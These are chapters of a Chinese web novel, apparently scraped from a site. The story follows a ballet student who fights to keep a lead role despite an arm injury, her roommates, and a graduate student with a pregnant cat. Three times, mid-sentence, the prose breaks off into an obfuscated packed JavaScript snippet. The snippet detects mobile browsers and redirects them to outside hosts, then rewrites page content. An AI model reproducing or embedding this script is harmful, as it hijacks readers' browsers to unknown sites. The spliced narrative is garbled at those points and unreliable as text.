“不要。”穆淼淼斩钉截铁,“距离产生美你懂不懂,何况我还要和奈奈玩儿呢。” 周彦泽“切”了一声:“人家要是找了男朋友,哪儿还搭理你。” “周彦泽,你又皮痒了是不是?” 闻言,周彦泽下意识缩了缩脖子,不敢再调侃:“话说她到底有没有对象,好几个兄弟知道我女朋友是奈然的室友,天天缠着我要联系方式呢,人都挺不错的。” 穆淼淼露出嫌弃的目光:“你那些兄弟,我又不是没见过,别怪我说话难听,让他们自己先照照镜子去吧。” “有那么夸张吗?” “当然有!”穆淼淼据理力争。“奈奈不光长得漂亮、性格好、身材好,最重要的是能力还强,你那些朋友,歪瓜裂枣的,哪个能配得上她?” 周彦泽想反驳,为兄弟搏回点面子,张了张嘴却无言以对。 好吧,其实穆淼淼说得也没错。 “那你说说,什么样的才能行。” “这个嘛……”穆淼淼抱起手臂,煞有其事地讲:“最起码性格要稳重、靠谱,奈奈性格比较要强,所以对方的性格不能太相似,两个强势的人容易水火不容,至于长相嘛……” 穆淼淼绞尽脑汁,脑袋里闪过无数张脸,最终目光锁定一处,双眼一亮:“那个男生就不错!” 周彦泽循着她手指的方向看去,远远瞧见一个身影,没等他看清脸,便消失在了人群中,撇撇嘴道:“也不怎么样嘛,还拄个拐。” “呵,男人的嫉妒心。” “喂!” 他们站在这里等合租的人联系,前面看了三个合租的房间,周彦泽都不是很满意,不是太贵就是房间位置不好,还有一个合租的男生在向他们展示卫生间的时候,不小心忘记收放着一个月没洗的袜子,把周彦泽恶心的差点当场骂出声来。 忙活了一晚上,还剩最后一个事先约好的合租看房,周彦泽甚至差点打消了继续看下去的欲望,不过对方主动打了电话给他说有事出门一趟,二十分钟后回来,便答应了等他一会。 和穆淼淼互怼了二十分钟,终于等到了对方的电话,说已经在楼下等他,现在直接过来就可以。 周彦泽立马带着穆淼淼过去,从小吃街到租房地点只花了不到五分钟的时间。 居民楼附近在小吃街对比之下尤其安静,有人静静在灯下站着等待。 周彦泽拉着穆淼淼朝对方走近,在他转头看过来的一瞬间,开口询问:“你是……” 话音刚起,被身边的穆淼淼惊呼打断。 “是你!” 此话一出,周彦泽和站在对面的人都愣了。 “你认识他?” “你是?” 穆淼淼脸一红,赶紧扯着周彦泽凑到他耳边小声提醒:“就是他啊,我刚刚给你指的那个男生。” 周彦泽恍然大悟,不动声色打量了对方几眼。 好吧,确实比他朋友们帅一点。 沈临枫等着他们嘀嘀咕咕完,才继续问道:“你们是来看房子的吗?” “哦,是的。” 沈临枫看了一眼周彦泽身边的穆淼淼:“你们两个一起租?” “不是,她是来陪我找房子的,我自己租。” “好的。”沈临枫点点头,转身示意他们跟上:“在三楼,跟我来吧。” 因为自己右腿受伤,这栋楼属于老小区没有电梯,沈临枫不得不一阶一阶往上跳着走,带着他们上楼的途中,怕他们觉得慢,沈临枫简单介绍了房子的情况:“我刚搬到这里两个月,交了半年的房租,你可以不用付额外的押金,两间卧室都是朝南,空着的那间没有阳台稍微小一些,所以房租我会多付三百,你一个月是八百,水电费用我们均摊。” 周彦泽对这个价位挺满意:“可以。” “另外。”终于来到门前,沈临枫没有立马开门,转身对周彦泽说道:“事先线上沟通的时候,我和你说过我有养猫吧。” 周彦泽点点头:“我记得,这个没事,我不在意。” “好的,不过它怀了孕,最近正在临产期,麻烦稍微注意一下,不要吓到它。” 周彦泽和穆淼淼不约而同小鸡啄米似的连连点头。 在沈临枫转身去开门的时候,周彦泽低声对穆淼淼说:“你点个什么头?” “不知道哇,条件反射。” 跟着沈临枫进了门后,周彦泽和穆淼淼小心翼翼地放轻了步伐,观察着四周。 整个客厅十分整洁,带着淡淡的皂香味,沙发前的茶几上摆放着精巧的玻璃花瓶,里面有三支洁白的风信子。 沈临枫给周彦泽大致介绍了房间里的布局:“这边是我的卧室,另一边靠近卫生间的是空着的房间,其余的空间都是公用区域,我腿不太方便,你可以自己随意转转,有什么问题问我就好。” 趁他们四处看的时候,沈临枫回到自己的房间,反手关上门的下一秒,小腿旁就蹭上一团毛绒绒。 “酥酥。”沈临枫轻声唤道,低头望着撒娇蹭腿的猫咪,柔和了表情,走到床边坐下,等它跳到自己腿上后轻轻挠了挠它的下巴,又轻轻摸了摸它的肚子:“感觉还好吗?” 酥酥嗲声嗲气的“喵”了一声,尾巴高高翘起,发出呼噜呼噜地声音。 见它精神状态良好,沈临枫松了口气。 自己在医院住了三四天,中途回来过一次,给酥酥提前放好了足够的猫粮和水,不过它怀了孕,总归不放心,这才提前出了院回来。 结果今天回来后,发现酥酥有呕吐的迹象,猫粮也没怎么吃,赶紧带它去看了医生,说是猫粮可能长时间暴露在空气中变了质,食用后胃部受了刺激引起呕吐。 考虑到酥酥怀孕,打针或输液有可能导致更严重的应激,他才去药店买了些药,准备看情况使用。 给酥酥先喂了些葡萄糖,房间的门被敲响,沈临枫走过去打开门。 “我都看过一遍了,挺好的,价格也可以,今天就定了吧,需要现在转你钱吗?” “都可以,搬进来后再转也可以。” “好,那我大概两天后收拾好东西拿过来,你……呃,怎么称呼?”周彦泽挠挠头,发现自己还不知道对方的名字。 “沈临枫,我在云工大读研究生。”沈临枫道。 闻言,穆淼淼在周彦泽背后小声“哇”了一句:“大学霸,怪不得我有种莫名的敬畏感。” 周彦泽也不见外,张口就来:“那我叫你沈哥吧,我云艺大的,大二,学声乐,平时偶尔会练练嗓子,你不介意吧?” “没事。”沈临枫回答。 云艺大、大二。 和奈然一届的。 这么晚了,不知道她练习结束了吗?肯定很累吧。 正想着奈然的事情,穆淼淼的小声惊叹打断了沈临枫的思绪。 “好可爱的猫猫,我可以摸摸吗?” 沈临枫低头一看,酥酥不知道什么时候从房间里跑出来,正好奇的围着周彦泽和穆淼淼转,嗅嗅他们的味道。 穆淼淼似乎很喜欢它,蹲下身两只手搭在膝盖上和酥酥对视。 “可以的。”沈临枫点头,“它不怕人。” 得到了许可,穆淼淼立马伸手去摸酥酥的脑袋:“好软的脑袋,好好rua,好可爱!” 酥酥被摸得舒服,扬起脑袋“喵”了一声。 周彦泽也忍不住弯腰摸了摸,谁能抵抗住撒娇的小猫呢。 “你怀孕了吗?好辛苦哦,下次有机会再来的话,姐姐给你带罐罐吃好不好?”穆淼淼道。 酥酥像是听懂了她的话,开心地晃了晃尾巴尖,开始用头蹭穆淼淼的手心。 周彦泽瞧见这一幕,酸酸地说:“从没见你对我这么温柔过。” “你神经啊,跟猫吃什么醋。”穆淼淼抬头询问沈临枫:“学长,它叫什么名字呀?” “酥酥,酥脆的酥。” “酥酥,你真的好像一块小饼干啊!”穆淼淼笑起来。 怕打扰到沈临枫,他们没有在这里呆太长时间,商量好搬来的时间后便离开回学校。 穆淼淼没有忘记要给奈然带好吃的约定,她知道奈然晚上不喜欢吃油太重的食物,拉着周彦泽去食堂买了一份鲜切水果。 回到宿舍的时候,已经将近晚上九点钟,回到宿舍的时候奈然竟然不在,另外两个室友祝银兰和李橙月倒是在。 见她回来,祝银兰随口说道:“淼淼,你回来了。” “嗯。”穆淼淼左右看看,“奈奈不在吗?” “哦,她出去洗澡了。”祝银兰顿了顿,接着道:“发生什么了吗?晚上我回来的时候看她好像心情不太好,我还是第一次见奈然在宿舍呆这么长时间。” 穆淼淼怕奈然不想说自己受伤的事情,便打了个马虎眼:“没什么啦,可能是最近排练太累,卷王也需要休息的嘛。” “也是,我要是能有奈然一半的那份劲,也不愁上不了台了。”祝银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003080|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰叹了口气,“反正我是养老了,能跳就上,不能跳就下一次呗。” 躺在床上的李橙月附和道:“我也是,哎,我们这个专业真不是努力就够的。” “别这么说嘛,我们能考到这里,不已经证明我们很厉害了吗,只不过奈然要更厉害一些。”穆淼淼道。 正聊着,寝室的门被打开,奈然迎着几人的目光走了进来,有些疑惑:“怎么了?” “没什么没什么。”穆淼淼两步跑过来,把手里的东西拿给她看:“你看我给你带了什么好吃的,里面有你最喜欢吃的小香瓜!” 奈然笑了笑:“谢谢小水,我正好饿了。” “还有还有,你们听我说。”穆淼淼激动地告诉她们今天晚上的经历:“我不是陪对象去校外看租房子了吗,他要找合租,结果你们猜怎么着?” 李橙月:“不会是碰见熟人了吧?” “不是。” 祝银兰:“撞见了你男朋友的前女友,不会吧?” “哎呀,你想哪里去了。” 李橙月佯装生气:“穆淼淼,不准卖关子。” 穆淼淼“嘿嘿”笑了两声:“实话告诉你们吧,碰见了一个超级帅的合租室友,是隔壁云工大的学长呢。” “我以为是什么呢,你对象合租,又不是你合租,这么激动干嘛。”祝银兰道。 “有多帅?”李橙月来了兴趣,“比咱们专业的魏丰还帅吗?” 听到这个名字,穆淼淼嫌弃地摆摆手:“比他帅十倍好吧,他也就高点,还有什么优点。” “云工大的那些理科大佬,能比咱们学校表演系的那些男生还好看?别怪我刻板印象啊,我见过好多那里的男生都是格子衫牛仔裤加黑框眼镜,瘦得像三天没吃饭一样。” “你这个真的属于刻板印象了月月。”穆淼淼摇摇手指,煞有介事地开口:“怎么说呢,跟那些表演系的男生不是一种类型啦,没有那些穿搭打扮加分,就纯帅,气质温温柔柔的,声音也很好听!” 祝银兰满腹狐疑:“你是不是看小说看多了?” “你们怎么不相信呢!”穆淼淼跺跺脚,只恨自己没有偷拍两张照片,注意到一直安静聆听没有讲话的奈然,主动将话题引了过去:“奈奈,你肯定相信我的吧?而且我觉得,他和你喜欢的类型很像哎!” 一听这话,李橙月和祝银兰来劲了,纷纷追问:“什么?快细细道来,奈然喜欢什么样的男生!” 意识到自己一不小心说漏嘴,穆淼淼紧张地闭上嘴巴,用可怜巴巴的视线望向奈然。 处于目光焦点的奈然很是无奈:“这个问题有那么重要吗?” “当然有!”三个女生异口同声。 她们之中数李橙月最心直口快:“我都要好奇死了,怕你觉得冒犯不敢问,实话讲,我要是长你这么好看,老娘同时谈三个男朋友!” “注意形象啊月月。” “跑题了跑题了。” 于是三个人又齐齐看向奈然,一脸等待吃瓜的模样。 祝银兰问:“话说奈然,你该不会正在地下情吧,所以才不能说,莫非是个当红的小明星?” “怎么可能。”奈然被她们的想象力震惊到,“没有的事。” “初恋呢,初恋总有吧,哪怕是暗恋。” “谁有那个能耐让奈然暗恋,我是不信。” 她们你一句我一句说个没完,奈然就知道今天如果不说点什么是过不去这个坎了,干脆坦白:“初恋有的,在我上高三的时候,不过早就分手了。” 听到自己没听说过的内容,穆淼淼激动万分:“我还不知道呢!是高中同学吗?谁追的谁?” “不是,是之前家住的近的哥……朋友。”奈然一一回答,“没有谁追谁,相互表白,然后就在一起了。” “那因为什么分手?”李橙月问。 对于这个问题,奈然沉默一瞬,没有立即解释。 几人看出她突然低落的情绪,纷纷闭上了嘴,相互使着眼色,不再追问。 穆淼淼出声圆场:“哎呀,谁还没几个不想提起的前任了,往事不提了,我跟你们继续讲今天遇到的那个帅哥,他还养了一只怀孕的小猫,不光长得帅,人品也好!我觉得嘛,只有这种男生才配得上我们奈奈,你们说是不是!” “我觉得对。” “嗯嗯,没错没错!” 祝银兰和李橙月附和道。 然而,听到这句话的奈然眼皮子跳了跳。 怀孕,怎么又是怀孕!? 她现在已经对这个词过敏了,一听到就会想起刚才在药店沈临枫说的话。 即使她着强迫自己不去在意,可有关沈临枫的事情依然会扰乱她的心神。 毕竟,这是她曾经每晚做梦都会梦到的人,是她最喜欢的人。 9. 替换 夜深人静,窗外风声低低呼啸。 奈然整晚辗转反侧,睁眼闭眼都是令她烦恼的事情,一边担心着明天要怎么请求老师继续排练,一边又情不自禁想起昨晚在校外碰见沈临枫时听到的话。 怪不得他急着要出院,原来是有谁在等着他回去…… 其实也不奇怪,像哥哥那样温柔优秀的人,怎么可能会没有人喜欢呢。 可怀孕是不是有点太过分了,他不会是那种不负责任的人才对。 明天早上事先吃点止疼药会不会好一些?老师会不会已经选出了替换的人选? 浑浑噩噩不知道究竟睡着了没有,奈然第二天照旧在早晨六点半准时睁开眼,身体疲惫不已,精神却因焦虑不安的活跃着。 她解锁手机,想看看剧目群里面有没有通知具体排练时间,不料除了置顶的群消息以外,还有来自许多其他人的消息。 大部分是同专业认识的朋友在听说她受伤后发来的慰问,奈然一一回了过去,告诉她们自己没有什么大事。 看着朋友们多多少少的关心话语,奈然的心情渐渐放晴,一晚上的焦躁不安被抚平了许多。 正一个个的回复着,忽然看到被淹没在通知栏底部来自沈临枫的消息。 奈然停顿片刻,没有选择点开,而是打开了置顶的群消息。 无论沈临枫是出于什么样的心理与她联系,以目前的情况来看,他们都不适合再过多产生交集。 杨梦昨晚在群里面通知了排练时间,时间是上午八点到十一点。此外,她还向奈然私发了一条消息。 杨老师:奈然,你今天如果不舒服的话,可以先在宿舍休息,不用来排练,注意保护受伤的地方,一定不要逞强。 奈然抿起唇,尽量平静的回复——好的老师,我会看情况的。 虽说这么回了,但她压根就没考虑过不去的可能性。 一点伤而已,她能坚持。 肌肉拉伤自我恢复需要时间,过度活动会导致受伤的地方恢复速度变慢,奈然自然清楚这一点,她不会傻到通过损坏自己身体的方式去努力。 想必教委组的那些老师已经知道了这件事,校庆临近在即,他们一定会提出一个解决办法,至于这个解决办法,无外乎换人或者不换人。 她要做的,是让那些老师信服一件事——受伤并不影响她上台,就算要换人,也要堂堂正正将自己比下去,她才甘心。 奈然下了床,简单洗漱过后按照网上学习的方法按摩了下拉伤的手臂,找出常备的止疼药吃下一片。 在她基本上已经准备完毕后,宿舍其他几个人才刚刚睡醒下床,穆淼淼睡眼惺忪,打着哈欠说道:“奈奈,你起好早,等我五分钟,我马上收拾好。” 奈然点点头,坐在桌旁继续看剧目合排的完整录像视频。 七点五十,奈然和穆淼淼准时来到教室,换上训练服开始做热身运动。 奈然有意避开了受伤的左手活动,有些心不在焉。 其他参加剧目的学生陆陆续续到达,教室里热闹起来,女生们围在一起询问奈然的情况。 其中一个大一的女生甚至红了眼眶:“学姐,我最想同台演出的人就是你!你可能不知道,八年前的全国青少年比赛上,我就看过你跳舞,只不过那时候我连名次都没有拿到……” 奈然十分惊讶:“真的吗?” “是真的!所以你一定要上台表演呜呜呜……” 这是奈然意料之外的事情,不过倒是让她更坚定了上台的想法。 时间一到,杨梦推开门走了进来,朝站在一起的男生一挥手:“来几个男生去教室搬十个凳子。” 等杨梦带着男生离开后,教室里面顿时躁动起来,猜测着今天有什么大事。 只有奈然一言不发,差不多想到需要搬凳子的原因。 果不其然,几分钟后,除了搬凳子的男生和杨梦以外,还有数十名芭蕾表演专业的老师跟着一起来到教室。 云艺大每一位老师都拥有着相当漂亮的履历,甚至有国家级的艺术家,平时除了固定的上课时间,基本上很难见到。 学生们看到面熟的老师,纷纷安静下来,迅速站成队形,不自觉挺直腰板。 进来的老师基本上都是网络上能查到百科词条的人,在芭蕾这一专业领域是绝对的权威。 显然今天是向老师展示排练成果的时间。 除了老师以外,跟在后面进来的还有一名女生,也穿着舞蹈训练服。 有学生认出了她,小声交谈道:“这不是秦诗宁嘛,怎么研二的学姐也来了?” “咳咳,你是不是笨,当然是为了替……” 很快,学生们的低声交谈被杨梦打断:“都安静,大家也看到了,教委组的老师抽出时间来看咱们的剧目排练情况,也给咱们提提建议,都打起精神来,好好表现!给你们半个小时的复习时间,八点半准时开始。” 语罢,杨梦看到站在一旁的奈然,冲她招了招手:“奈然,你跟我来一下。” 来到无人的走廊处,杨梦转过身,看着奈然沉默的模样,轻轻叹了口气:“你的胳膊怎么样了,还痛吗?” 奈然摇摇头:“没事的。” 她越是表现的平静,杨梦就越是开不了口,可过多的安慰无济于事,她只能如实相告:“昨天晚上教委组紧急开会,关于你受伤的事情……现在只有一个解决办法,临时换人。” 闻言,奈然什么都没有说,垂在身侧的手却猛地攥紧,手指的用力让手臂上拉伤的肌肉阵阵发痛,仿佛在告示着她的无能为力。 但奈然向来不是忍让的性格,她看着杨梦,尽力让自己表现得不那么激进:“老师,我知道您也很难办,这是教委组的决定,我明白,但是请给我一个公平竞争的机会,让我在老师们面前完整的表演一次,如果老师们依然决定要换人,我愿意接受。” “这……”杨梦欲言又止,蹙眉思考半晌:“你的手臂能受得了吗?你才大二,将来还有很多机会。” 奈然却笑了,语气坦诚:“如果连这次机会都把握不住,又怎么能确信未来能抓住其他机会呢。” “我明白了,你先在这里等一下。”杨梦说完,走进教室。 几分钟后,她重新从门内走出,身后多出了一个人。 “老师们同意你的提议。”杨梦扭头看了眼身旁的秦诗宁,“你们两个聊聊,准备好后进教室,我们开始。” “好的,杨老师。”秦诗宁点头,目送杨梦离开。 等走廊上只剩下她们两个的时候,秦诗宁转过头,与奈然对视。 奈然有些莫名,不懂杨梦为什么要让她们两个单独聊,她们之间并无交集,偶尔在学院组织的活动上碰见过一两次,连话都没有说过,更别提有什么其他交情。 不过,她知道秦诗宁实力出众,几个月前跟随国家级芭蕾舞团一起参与国外的演出,正式因为如此,才没有参与校庆表演的筛选。 而她今天出现在这里,无疑是为了替换自己,饰演奥杰塔和奥吉莉亚。 虽然知道对方能力很强,但奈然并不觉得自己会输。 尽管她手臂受了伤,势必会有一定的影响,可和所有参与出演剧目的同学一起排练了几个月,她对整个剧目每个人的舞蹈习惯与节奏有着最深刻的了解,与整个团队的默契是她的优势。 奈然看着面前的女生,正思索着要说些什么,便听到对方先一步开口。 “我劝你还是不要逞强比较好。” 秦诗宁神色从容,目光从奈然左臂轻扫而过,重新看向她:“任何身体上的后遗症都会断送你的职业生涯,这不是儿戏。” 对于从事舞蹈专业的人,身体既是最宝贵的,同时也最需要千锤百炼,即便是训练,也会把握好度,一旦出现不可逆的损伤,所有努力就会付之一炬。 因此,有些鸿沟无法通过努力去弥补跨越,这是很残酷的事实。 奈然当然清楚这样的事实:“难道就因为害怕一件还没有发生的事情,连争取地机会都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003081|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放弃吗?既然做了选择,我愿意承担一切后果。” 两个人互不相让地对视了几秒,秦诗宁忽然勾唇笑了起来:“好吧,期待你的表现,加油,奈然。” 奈然一怔,被她突然变化的态度搞得有些不知所措,下意识接话:“哦……好的,学姐。” “事先说好,我可不会因为你受伤就放水。” “嗯,我也会全力以赴!”奈然点头。 等她们走进教室,里面的所有人都已经准备就绪,十位老师在镜子前坐成一排,顿时让整个教室的气氛变得严肃起来。 杨梦站在音响旁边,调试完毕后朝秦诗宁说道:“诗宁,你先来合一遍。” 昨晚她已经把排练的录像发给秦诗宁,对方经验丰富,尤其是跳《天鹅湖》这样的经典剧目,估计早已在舞台上表演过不下数百次,即使今天是第一次与其他同学合排,除了细节上的磨合以外不会有太多问题。 秦诗宁站到定点位置,摆出初始准备动作,等待音乐的开始。 音响的播放键被杨梦按下,轻柔的弦乐由浅及深,宛如舞台的帘幕缓缓拉开序幕。 站在各自位置的舞者纷纷动了起来,像是八音盒中的小人被唤醒,灵动地跳跃着,一个接一个经过舞台的中心点。 被围绕在重心的秦诗宁缓缓抬起头,四肢舒展开来,此时她正是在森林中醒来的奥杰塔,被魔王施加了诅咒变成了一只天鹅,等待着寻找真爱以破除诅咒。 奈然站在杨梦的旁边,专注地看着这场表演。 虽然是第一次参与合排,秦诗宁有条不紊地展示着优雅的舞步,与其他饰演天鹅角色的女生互动,动作轻盈,姿态大方,相同的舞蹈动作做得更加漂亮出众,让人难以移开视线。 奈然目不转睛,观察者秦诗宁的所有动作,将其中的细节尽收眼底。 每个人都有不同的舞蹈风格,就算是饰演同一个角色,个人风格依然不可忽略。相对于情感投入,秦诗宁更多的将精力放在技巧把控,从肩膀到指尖,从胯骨到脚踝,无一不是完美的处理,这使得她的表现在众人中相当突出。 这份极致的细节一直维持到剧目结尾,失望的奥杰塔在面对王子的懊悔自责,毫不犹豫转身离去。 舞蹈结束,台下的老师们纷纷鼓掌,目光充满了赞赏。 对于其他参演剧目的学生,连着从头到尾跳两遍会导致体力不足,杨梦宣布休息十分钟,转身去和其他老师低声商讨。 秦诗宁表现得相当出色,何况这还是她第一次参与合排,奈然回想着刚才看到的种种细节处理。 若放在平时,她还可以集中精神将舞蹈中的技巧细节做到极致,可现在手臂带伤,就算她再能忍痛,也无法百分百达到平时的水平。 既然如此,为了弥补技巧上的不足,就必须选择用其他方式掩盖过缺点,征服老师的心。 “看来你已经有想法了?” 奈然闻声抬头,看到秦诗宁含笑的眼睛,点了点头:“嗯,我知道该怎么跳了。” “那我就拭目以待……” 正说着,被一道声音打断。 看清是谁后,奈然目色一凛,转过头无视对方的存在。 魏丰恍然不觉,自顾自说冲着秦诗宁献殷勤:“诗宁学姐,你真的太厉害了,我还担心我们是第一次合作,会配合不好呢,没想到竟然能完整跳下来,难道这就是传说中的默契?” “谢谢。”秦诗宁礼貌回应,“不过,需要纠正一下,你在双人舞的部分有三个地方提前做了动作,我为了配合你,同时简化了我的一些动作,并没有所谓的默契。” 她的语气不轻不重,像是在平静的阐述某种事实,毫不在意魏丰逐渐变得难看的脸色,轻飘飘予以他一记重击。 “另外,你跳舞的时候情感表演真的很烂,现在倒是挺会演的。” 秦诗宁的话说得相当不留情面,就连奈然也忍不住扭头看向她。 “连舞伴都照顾不了的人,还是老老实实回去多练吧。” 10. 等待 十分钟的休息时间很快过去,奈然在一众目光下站到初始定点位置。 自从刚才秦诗宁说了那样毫不留情的话,魏丰表情阴翳,不再自讨没趣的搭话。 有了第一次当作教训,奈然不可能再犯第二次错误。 一场剧目不是一个人的舞台,几十名舞者各司其职,相辅相成,组成不同角色,跳出属于自己的一段舞蹈,带动着整个剧情的发展。 奈然一直认为,跳群舞需要的是信任,因此之前就算不喜欢魏丰这个人,也从来没对他的舞蹈产生任何质疑,甚至为了配合他的动作,去修饰自己的舞蹈动作。 到现在,她才明白,就像一个人有道德品质一样,每个人的舞蹈也有类似的标准。 而魏丰恰恰就属于最差劲差劲的那种,徒有其表,毫无内涵。 迁就这样的舞伴,会导致自己的舞蹈也变了形,降低了原有的水准。 既然这样,她也没必要为了配合而配合了。 她会不遗余力展示出自己的全部。 奈然双臂抬起,成弧形定格在空中,微微垂首,双腿交叉站立,宛若森林中正沉睡着的白天鹅。 音乐响起,她缓缓抬头,目光在一瞬间变得坚定,继而又轻柔的散去,低眉垂眼,修长的手臂摆落,像是天鹅睡醒后轻抚自己的羽毛,立足旋转,甩开身上残留的水珠。 站在前方的杨梦内心一惊,感觉奈然有什么地方不一样了。 第一幕的表演相对于来说比较简单,王子与奥杰塔心意相通,为破开诅咒,约定在之后的宴会上宣布奥杰塔成为他的新娘。 可就算是最简单的一见钟情的戏码,魏丰居然都没有把握好表情。本是情不自禁被吸引的桥段,他却嘴角僵硬,强颜欢笑,毫无坠入爱河的自觉。 杨梦看着他,在心里连连叹气。 最该换的根本不是女主角,而是魏丰才对。 到了到了第二幕,舞会上的王子与奥吉莉亚相遇,这种对比的反差感愈发强烈。 奈然几乎完全沉浸在这个角色当中,尽管偶尔有手部动作会做的不那么完美,可她在肢体以及面部表情上的表达已经达到了极致,毫不掩饰的野心,危险与魅惑交织。甚至在一次托举的动作中,她选择自己用手臂撑住魏丰的肩膀借力跃起,华丽空中旋身而落。 这虽然不是舞蹈中固定的动作,可丝毫不显突兀,毕竟奥吉莉亚不似奥杰塔对王子一见倾心,将所有爱慕交付,她更独断,也更有主见。 到了最后一幕,王子做出错误的决定,向伤心透顶的奥杰塔深深忏悔,祈求她能原谅自己的一时迷惑。 杨梦根本已经关注不到魏丰的表现怎么样,全神贯注地观看着奈然的表演。 奥杰塔的难以置信、失望、伤心欲绝,不光体现在奈然充满悲伤的双眼,更被她决然而落魄的舞蹈动作展现得淋漓尽致。 她的悲伤不仅仅是悲伤,而是愤懑与不舍的来回变换,复杂的情感令人产生共鸣,深入其境。 最后,身为公主的傲骨令她无法接受爱人背叛的事实,她选择放弃解除诅咒,不再回看王子一眼。 故事以美好开头,以悲剧结尾。 大提琴最后一段绵长沉重的音调结束,周围寂静无声。 看完这一场堪称精彩的表演,杨梦眼眶发酸,不知是因为命运多舛的奥杰塔,还是为了坚持下来的奈然。 站在旁边的秦诗宁先鼓起了掌,随后所有老师也都跟着纷纷拍手。 奈然长舒一口气,落下手臂,忍着疼痛的左臂轻颤。 连跳了两遍的其他人也累得够呛,扶腿撑腰原地坐下。 老师们围在一起,已然开始激烈的商讨,各持己见。 “我觉得还是换人比较稳妥,从奈然的动作,就能看出她到最后已经很勉强了,后面能不能跟着排练也不好说,校庆之前还要去礼堂每天至少排练三遍,她怎么受得了?” “哎,话是这么讲,可我觉得她是最适合这个角色的,错过这次机会太可惜了。” “秦诗宁的技巧明显更精湛,她知道该怎么用最轻松的方式赢得最好的效果,从专业性来讲,还是她上会更好。” “李主任说得对,系内精心准备这次表演剧目,为的就是让那些专业的人看到,专业人看专业事,外行人看个乐,我们的目的是为了展现云艺大芭蕾表演系的高水准,秦诗宁的三十二圈挥鞭转更稳,也更巧。” “我的想法恰恰相反,我觉得奈然的表演同样具有专业性,芭蕾表演芭蕾表演,顾名思义,芭蕾与表演相结合,非但追究舞蹈技巧方面的精准,还要情绪表达到位,二者缺一不可。” 杨梦忍不住附和:“是的,我也这样认为。” “这么一想倒也是,虽然有高水平的舞蹈家来看表演,但毕竟是少数,更多的是不懂芭蕾的外行人,他们看的是整体呈现的效果,是引人入胜的剧情,你说国外那些国家芭蕾舞团巡演,底下的观众难道都是学芭蕾的吗?其实不然。” “奈然的表演是不错,可手臂受伤不是小事,对舞蹈动作造成了很大影响。” 十位老师争论不休,迟迟没有结果,眼看短时间内没办法统一意见,杨梦只好宣布今天上午的排练先暂停,下午再继续。 走到换衣间换衣服的时候,奈然才发觉自己的左胳膊几乎动不了了,想要抬起手套上毛衣都做不到。 她咬咬牙,心道大概是又肿起来了,只能寻求穆淼淼的帮助。 后者欣然帮她套上了衣服,还一本正经地勒令她不要再折腾这条胳膊了。 从更衣室出来的时候,正好碰见换好衣服出来的秦诗宁,朝她点头问好:“学姐。” “啊,奈然。”秦诗宁转过身来,露出一个浅淡的笑容,从兜里拿出手机:“要加个好友吗?” 奈然一愣,随即答应:“……好的,我加你吧。” 发送过添加申请,秦诗宁收回手机,冲她和穆淼淼摆了摆手:“我还有事,先走了。” 目送着她的背影消失在楼梯口,穆淼淼才小声开口:“我本来以为学姐不好相处呢,没想到人还挺好的嘛。” 奈然点点头,赞同她的看法,手心里的手机震动一秒,显示已经成功添加上好友,奈然在秦诗宁的账号备注上名字,退出账号名片的界面,发现消息栏中新收到的消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15003082|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她犹豫了一秒,没有点开,锁上了手机屏幕,朝穆淼淼道:“走吧,正好今天上午第二节有选修课。” “什么!?”穆淼淼两只眼睛一瞪:“该不会是那节舞蹈史吧?我已经连着好几周都没去听过了,那个老师上课总喜欢点人回答问题。” 奈然无奈:“这门课占三个学分呢,期末想要评优的话,最好还是去听,上次点名你就不在。” 听到这件事,穆淼淼顿时蔫了,憋嘴嘟囔:“好吧好吧,我去还不行吗……” 与此同时,校外住宅区的某栋居民楼内。 抽油烟机的轰隆声戛然而至,沈临枫关掉燃气灶,将冒着白色热气的锅端出厨房,掀开锅盖,快速拿出里面滚烫的蒸碗。 循着肉香味跑来的酥酥似乎知道这是自己的美味大餐,来回蹭着沈临枫的裤脚,仰着头“喵喵”地叫。 沈临枫忍不住俯首看去,瞧见它撒娇的可爱模样,弯起眼睛:“别急,有些烫,很快就好。” 由于只有一只手能自由活动,他的动作有些缓慢,用勺背仔仔细细吧碗里蒸熟的肉泥蛋黄和南瓜瓤压碎,再搅拌到一起,加入少许凉白开,混成方便食用的稀糊状,拨进酥酥的猫碗里,弯腰放在地上。 “吃吧。” 收到指令的酥酥欢快地埋头干饭,蓬松的尾巴甩来甩去。 沈临枫静静看了一会儿,起身走到客厅,目光掠过桌上的白色花枝,拿起手机打开。 屏幕还停留在锁定前的画面,未发生任何变化,是他半小时前发出的消息。 沈临枫:早安,今天天气很好。 沈临枫:[图片] 后面是一张阳光透过窗棂打在桌面上的照片,看似是不经意的随拍,实际上沈临枫一连拍了许多几个不同的角度的照片,对着相册挑了又挑,选出最好看的那张发了出去。 